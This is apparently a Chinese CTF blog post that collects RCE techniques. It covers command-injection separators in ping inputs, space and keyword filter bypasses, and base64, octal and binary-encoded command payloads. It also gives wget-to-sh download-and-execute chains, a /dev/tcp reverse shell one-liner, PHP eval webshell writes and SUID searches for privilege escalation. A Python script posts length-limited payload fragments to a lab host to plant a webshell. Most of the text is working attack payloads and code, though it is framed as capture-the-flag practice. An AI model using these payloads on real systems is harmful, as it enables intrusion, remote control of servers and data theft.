本文最后更新于 2026年4月16日 晚上
前言
首先rce的实质就是在系统上运行恶意代码,大部分主流系统都是Linux,也有ubuntu,Windows的,但是很少见
首先在CTF的场景下
对于“cat”指令的绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| `more`:一页一页的显示档案内容 more /tmp/flag.txt `less`:与 more 类似 less /tmp/flag.txt `head`:查看头几行 head /tmp/flag.txt `tac`:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tac /tmp/flag.txt `tail`:查看尾几行 tail /tmp/flag.txt `nl`:显示的时候,顺便输出行号nl /tmp/flag.txt `od`:以二进制的方式读取档案内容 `vi`:一种编辑器,这个也可以查看 `vim`:一种编辑器,这个也可以查看 `sort`:可以查看 sort /tmp/flag.txt `uniq`:可以查看uniq /tmp/flag.txt `xxd`:查看原始文件 xxd /tmp/flag.txt `看文件头 判断文件真实类型特别有用。 `xxd -l 16 文件名` 常见文件头: PNG: 89 50 4e 47 JPG: ff d8 ff GIF: 47 49 46 38 ZIP: 50 4b 03 04` `c/at /tmp/f*`:大部分通杀
|
特殊例子
cp指令:
顾名思义,cp就是将一个文件复制拷贝到另一个文件,默认情况下,当转移的目标目录中没有实际对象,就会在本地创造一个
例如:
cp /tmp/flag.txt /var/www/html/1.php
mv指令:
同cp一样,mv /tmp/flag.txt /var/www/html/1.php
%00截断:
这个跟文件包含扯点关系,特别的,在php文件名后缀绕过尤为常见

od指令:
od -c
按“字符”方式显示。
效果类似:
这个最适合看文本文件。
od -An
不显示左边那一列偏移地址。
这样输出会更干净。
od -tx1
按十六进制、1字节一组显示。
比如 61 62 63 就对应 abc。
od -a
显示字符名字,比如空格、换行之类。
Linux常用指令
grep指令
在线进制转换网址:https://probiusofficial.github.io/bashFuck/
一般形式
1 2 3
| grep flag /tmp/flag.txt 意为“在/tmp/flag.txt里面抓取含有‘flag’开头的字符” 或者在当前目录里批量查找 grep -r "flag"
|
4. 常用参数
-i 忽略大小写
-n 显示行号
输出类似:
意思是第 2 行匹配到了。这个很好用,方便定位。
-r 递归搜索目录
在当前目录下所有文件里找。也可以指定目录:
1
| grep -r "flag" /var/www/html
|
-v 反向匹配
显示不包含某内容的行:
这个命令会输出所有没有 flag 的行。
-w 精确匹配整个单词
只匹配单词 cat,不会匹配其他的词
-o 只输出匹配到的部分
1
| grep -o "flag{.*}" test.txt
|
如果一整行很长,只想提取匹配部分,这个很好用。
-E 使用扩展正则
1
| grep -E "flag|key|password" test.txt
|
意思是只匹配flag,key,password
5. grep 最常见的几种写法
搜文件里的关键词
搜目录里的关键词
显示行号
忽略大小写
多个关键词任选一个
1
| grep -E "flag|key|token" file.txt
|
只看匹配到的内容
1
| grep -o "flag{[^}]*}" file.txt
|
这个在 CTF 里尤其常见,用来直接提 flag。
6. 正则匹配怎么理解
grep 最强的地方之一,就是可以配合正则表达式。
例如:
1
| grep "flag{.*}" file.txt
|
含义:
flag{:固定开头
.*:任意字符,任意长度
}:直到右花括号
但这个写法有时会贪婪匹配太多。
更稳一点的是:
1
| grep -o 'flag{[^}]*}' file.txt
|
意思是:
flag{ 开头
- 后面跟若干个不是
} 的字符
- 直到
} 结束
这通常更适合提 flag。
7. 跟管道一起用
grep 经常和别的命令一起用。
配合 cat
1
| cat file.txt | grep "flag"
|
但一般其实可以直接写成:
更简洁。
配合 strings
二进制文件里找可读字符串:
1
| strings file.bin | grep "flag"
|
这在 CTF 很常见。
因为二进制不能直接 grep 出来时,先 strings 提取可打印字符串,再 grep。
配合 xxd
1
| xxd file.bin | grep "666c6167"
|
因为 666c6167 是 flag 的 hex。
配合 ps
查进程:
看有没有 nginx 进程。
但注意:经常会把 grep nginx 自己也查出来。
配合 ls
筛出 .txt 文件。不过更常规还是用 shell 通配符。
8. CTF 场景里的常用打法
直接找 flag
提取 flag 格式
1
| grep -r -o 'flag{[^}]*}' .
|
这个会递归找当前目录,并只输出匹配到的 flag 内容。
在二进制里找 flag
1
| strings chall | grep "flag"
|
或者:
1
| strings chall | grep -E 'flag{[^}]*}'
|
在日志里找可疑请求
1 2 3 4
| grep "POST" access.log grep "eval" access.log grep "cmd" access.log grep "union" access.log
|
在源码里找危险函数
1 2 3 4 5
| grep -r "eval" . grep -r "system" . grep -r "exec" . grep -r "assert" . grep -r "preg_replace" .
|
这个在审计 PHP、Python、JS 代码时很常用。
9. grep 和二进制文件
有时 grep 会提示:
因为目标文件是二进制。
这时可以:
方法 1:先 strings
1
| strings file.bin | grep "flag"
|
方法 2:强制当文本处理
-a 表示把二进制文件按文本看。
10. 几个特别实用的参数组合
只显示匹配到的文件名
适合先定位哪几个文件里有目标内容。
显示不匹配的文件名
统计匹配次数
输出匹配行数。
显示匹配前后几行
1
| grep -n -A 3 -B 3 "flag" file.txt
|
这个看上下文非常好用。
find指令
最简单的指令
1 2 3
| find . -name "文件名字" ---在当前目录查找,改变'.'即可更换查找位置 find . -name "name" 2>/dev/null 意为忽略报错,更容易查找到关键信息 find . -name -iname "name" 2>/dev/null 意为忽略大小查找
|
也支持通配符
1
| find . -name "*.txt" ---找所有 `.txt` 文件。
|
1
| find . -name "flag*" ---找所有以 `flag` 开头的文件。
|
注意:最好加引号,避免 * 被 shell 提前展开。
-type 按类型找
找普通文件。
找目录。
常见的:
例如:
1
| find . -type f -name "*.php" ---找当前目录下所有 PHP 文件。
|
-perm 按权限找
1
| find . -perm 777 ---找权限正好是 `777` 的文件。
|
找 SUID 文件
1
| find / -perm -4000 2>/dev/null ---这个很重要,常用于 Linux 提权。
|
找可写目录
1
| find / -writable -type d 2>/dev/null ---查哪些目录可写。
|
wget指令
下载一个脚本然后执行
1 2 3
| wget http://your-server/test.sh chmod +x test.sh ./test.sh
|
或者直接:
1
| wget -O test.sh http://your-server/test.sh && chmod +x test.sh && ./test.sh
|
下载到标准输出,再交给 shell 执行
1
| wget -qO- http://your-server/test.sh | sh
|
这个组合极常见。
拆开看:
-q:安静模式,不显示下载过程
-O-:输出到标准输出
| sh:把下载到的内容直接交给 sh 执行
如果脚本是 bash 的,也可以:
1
| wget -qO- http://your-server/test.sh | bash ---这个不落地,不生成文件,动作很快。
|
7.3 下载后直接看内容
1
| wget -qO- http://example.com/flag.txt ---如果你只是想看网页、文本、配置文件内容,而不想保存成本地文件,这是最方便的。
|
7.4 下载二进制工具然后赋权运行
1 2 3
| wget -O exp http://your-server/exp chmod +x exp ./exp
|
一行写法:
1
| wget -O exp http://your-server/exp && chmod +x exp && ./exp
|
7.5 下载到指定目录后执行
1
| wget -P /tmp http://your-server/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh ---靶机当前目录不可写时很常见。
|
8. 常用参数
-q 静默模式
常和 -O- 搭配:
-O 指定输出文件
1
| wget -O a.txt URL ---不是数字 0,是大写字母 O。
|
-c 断点续传
-P 指定下载目录
有些 HTTPS 证书有问题,可以跳过校验:
1
| wget --no-check-certificate URL
|
例如:
1
| wget --no-check-certificate https://example.com/a.sh
|
--post-data
可以发 POST 请求:
1
| wget --post-data="a=1&b=2" -O- http://example.com/test.php ---这个在一些调试场景能用到。
|
自定义请求头:
1
| wget --header="Cookie: PHPSESSID=xxxx" -O- http://example.com/ ---例如带 cookie 抓页面内容。
|
--user-agent
伪造 UA:
1
| wget --user-agent="Mozilla/5.0" -O- http://example.com/
|
9. wget 和管道、其他命令的组合技
这部分是重点。
wget | sh
1
| wget -qO- http://your-server/a.sh | sh
|
用途:
如果脚本里用了 bash 语法:
1
| wget -qO- http://your-server/a.sh | bash
|
9.2 wget && chmod && 执行
1
| wget -O run.sh http://your-server/run.sh && chmod +x run.sh && ./run.sh ---这是最常见的“下载-赋权-执行”链。
|
9.3 wget | grep
1
| wget -qO- http://example.com | grep "flag"
|
用途:
也可以提取 flag:
1
| wget -qO- http://example.com | grep -o 'flag{[^}]*}'
|
9.4 wget | strings
如果抓下来的内容可能不是纯文本,或者你想抽可打印字符串:
1
| wget -qO- http://example.com/file.bin | strings
|
再结合 grep:
1
| wget -qO- http://example.com/file.bin | strings | grep flag
|
curl指令
最常用
1 2 3 4 5 6
| curl URL curl -s URL 静默,不显示进度 curl -L URL 跟随跳转 curl -I URL 只看响应头 curl -o 文件名 URL 自定义保存名 curl -O URL 用原文件名保存
|
nc指令
常见连接shell命令
dd指令
基本框架
1 2 3
| dd if=要拷贝的文件 of=拷贝后输出的文件 bs=1 skip=0 count=100 ---从1字节开始,每有一个字节就复制到文件,一直到第100个字节为止 例:dd if=/tmp/flag.txt of=/var/www/html/1.php bs=1 skip=0 count=100 dd if=/tmp/flag.txt of=/var/www/html/1.php bs=1 skip=0 count=100 |strings 提取后直接查看
|
Ping场景

如图,当输入ping的地址后就是|的隔断输入指令
而对于管道符,这里有几种绕过
LINUX系统的管道符:
1、” ; “: 执行完前面的语句在执行后面的语句。
2、” | “: 显示后面的语句的执行结果。
3、” || “:当前的语句执行出错时,执行后面的语句。
4、” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5、” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。
WINDOWS系统的管道符:
1、” | “ :是直接后面的执行语句
2、” || “ :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。
3、” & “ :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4、” && “ :如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
注:windows没有“;”
过滤空格
知识点:空格可以替换 <,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
因为空格被过滤,所以
查看网页源代码就有答案了哈。
过滤运算符
运算符分号可以用 %0a,%0d,%0D%0A替代。
变量拼接
1
| ?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
|
base64编码
echo$IFS$1Y2F0IC90bXAvZmxhZy50eHQ=|base64$IFS$1-d|sh
Y2F0IC90bXAvZmxhZy50eHQ=解码为`cat /tmp/flag.txt
(base32也如此)
但是在常规rce中,语法为
1
| base32 /tmp/flag.txt | base32 -d
|
base64也如此
内敛绕过
就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$1ls
会抓取ls返回的所有文件的内容
00截断绕strpos函数
PHP5.2+可以用截断漏洞(%00)绕过strpos检验函数
打反弹shell
1
| 127.0.0.1|bash -c 'exec bash -i &>/dev/tcp/ip/port<&1'
|
RCE写入木马
命令执行写入一句话
1
| echo "<?php @eval(\$_POST[\'test\']);?>" > 1.php
|
代码执行写入一句话
1 2
| system('echo "<?php @eval($_POST[\'test\']);?>" > 1.php'); ?a=file_put_contents('1.php','<?php @eval($_POST[\'test\']);?>');
|
实战
好靶场:只允许你输入7个字符,你还能执行你想要的命令吗
这里的思路是
- 利用
> 重定向和 \ 换行,将长命令分割成多个7字符片段写入文件
ls -t 排序:按时间顺序排列文件名,组合成完整命令
- 执行:通过
sh 执行构造好的脚本
攻击脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import time import requests
url = "http://4x4qj9v.haobachang2.loveli.com.cn:8888/"
with open("payload.txt", 'r') as f: for line in f.readlines(): payload = line.strip() data = { 'command': payload }
try: response = requests.post(url, data=data) print(f"已发送 payload: {payload}") print(f"状态码: {response.status_code}") except Exception as e: print(f"请求失败: {e}") time.sleep(0.2) print("所有payload发送完成")
try: check_response = requests.get("http://4x4qj9v.haobachang2.loveli.com.cn:8888/1.php") if check_response.status_code == 200: print("成功上传webshell!") else: print("webshell可能未成功上传") except: print("检查webshell时出错")
|
然后同文件夹payload.txt里面写上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| >hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >\|\\ >z8+\\ >0pO\\ >xJ1\\ >Wyc\\ >1NU\\ >9QT\\ >oJF\\ >YWw\\ >GV2\\ >AgQ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ ls -t>0 sh 0
|
这里base64转码得到
1
| <?php eval($_POST[1]);?>
|
运行连接蚁剑,拿到flag
杂payload
一些绕过
1 2 3 4 5 6 7 8
| $0 /???/????.??? ---/tmp/flag.txt $'\143\141\164' $'\057\164\155\160\057\146\154\141\147\056\164\170\164' ---转八进制 . /???/????.??? ---.加空格转为可读文件 在某些情况下,我们可能会需要用到8进制或者2进制来绕过一些很恶心的waf 当0和1被过滤了后呢,我们可以用${#}来代替0,${##}来代替1 快捷payload(cat /flag): ---二进制--- ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
|
5字符限制绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| >l\\ >s\\ >\ \\ >\>0 >-t\\ ls>a ls>>a >hp >p\\ >1.\\ >\>\\ >-d\\ >\ \\ >64\\ >se\\ >ba\\ >\|\\ >k7\\ >XS\\ >sx\\ >VF\\ >dF\\ >X0\\ >gk\\ >bC\\ >Zh\\ >ZX\\ >Ag\\ >aH\\ >9w\\ >PD\\ >S}\\ >IF\\ >{\\ >\$\\ >ho\\ >ec\\ sh a sh 0 随后访问http://example.co/1.php?1=system('cat%20/tmp/flag.txt');
|
4字符限制绕过